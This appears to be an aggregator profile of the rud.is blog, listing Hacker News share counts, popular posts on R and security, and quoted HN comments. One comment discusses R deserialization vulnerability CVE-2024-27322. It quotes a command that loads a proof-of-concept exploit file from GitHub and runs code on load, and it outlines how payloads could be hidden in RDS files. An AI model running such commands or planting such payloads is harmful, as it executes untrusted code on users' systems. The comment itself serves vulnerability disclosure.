rud.is
rud.is · Personal blog · on HN since 2011
Bob Rudis (hrbrmstr) writes about R, data analysis, visualization and security, with code examples and packages.
What HN saysHN links it for R data projects such as the Clinton email analysis and macOS Screen Time; one commenter disputes its claim about R serialization security.
15HN people shared it
4linked it in comments
52stories submitted
233story points
6 months agolast shared
2011people per year2026
Most-shared posts
- 1Working with the Clinton State Dept Email Dumps in R, Part 12 people · 134 points · first shared 2016 · 14 comments on HN
- 2Visualizing “ObamaCare-related” Job Cuts1 people · 8 points · first shared 2013 · 1 comments on HN
- 3Full transcript of Ukrainian President’s emotional appeal to Russians1 people · 8 points · first shared 2022 · discussion on HN
- 4A Note to Our Community on How to Hide Your Content from Search Engines1 people · 7 points · first shared 2019 · 2 comments on HN
- 5Reading PCAP Files (Directly) with DuckDB1 people · 4 points · first shared 2024 · discussion on HN
- 6SSH Password Time-series Heatmap In D31 people · 3 points · first shared 2012 · discussion on HN
- 7Get an R Data Frame from a MongoDB Query1 people · 3 points · first shared 2012 · discussion on HN
- 8Security Hobos1 people · 3 points · first shared 2013 · discussion on HN
- 9Watching Sandy in 'R'1 people · 3 points · first shared 2012 · discussion on HN
- 10Using R to make Vega-Lite Visualizations1 people · 3 points · first shared 2016 · discussion on HN
- 11Rforecastio – Simple R Package To Access forecast.io Weather Data1 people · 3 points · first shared 2013 · discussion on HN
- 12Slopegraphs – The Quintessential Tufte GDP Example Revisited1 people · 3 points · first shared 2012 · discussion on HN
- 13SHODAN API in R (With Examples)1 people · 2 points · first shared 2013 · discussion on HN
- 14Security & Privacy Of Mountain Lion’s Dictation Feature1 people · 2 points · first shared 2012 · discussion on HN
- 15ZeroAccess Bots Desperately Seeking Freedom (Visualization)1 people · 2 points · first shared 2013 · discussion on HN
What HN people wrote when they linked it
nomilk · 2024-05-13
> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language.
Isn't this demonstrably false? I.e. run this [1]
load(url("https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda"))
and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux).
When someone can easily cause their hidden system code to run on my computer, that's a pretty serious vulnerability. read.csv() and fromJSON() do not allow this.
I happen to have packages on CRAN that readRDS() from AWS S3. So if I happen to be evil and make some trivial alterations to those RDS files to contain a hidden payload, well, it's child's play. That does not seem sane to me.
FWIW, my recommendation is to create a function like readRDS() that only reads data (and does not allow any extra code to be run), then use that in place of the traditional readRDS() on CRAN. Then if someone did craft a malicious payload, it wouldn't matter. The (harder) alternative would be to disallow any functions that have this remote code execution 'feature', e.g. only read.csv() or fromJSON() and similar.
[1] https://rud.is/b/2024/05/03/cve-2024-27322-should-never-have-been-assi…
hrbrmstr · 2020-11-05
HenrikB · 2016-07-14
Have a look at the fiery package (https://cran.r-project.org/package=fiery), which utilizes futures and that Thomas Pedersen just released:
"A very flexible framework for building server side logic in R. The framework is unoppinionated when it comes to how HTTP requests and WebSocket messages are handled and supports all levels of app complexity; from serving static content to full-blown dynamic web-apps. Fiery does not hold your hand as much as e.g. the shiny package does, but instead sets you free to create your web app the way you want."
Bob Rudis wrote an interesting blog post (https://rud.is/b/2016/07/05/a-simple-prediction-web-service-using-the-… about it the other day. As you can see there, Thomas has some interesting extensions planned (e.g. routr).
packetized · 2016-02-21
Might be better to have the direct link, as the iframe is a bit quirky on mobile:
http://rud.is/projects/clinton_emails_01.html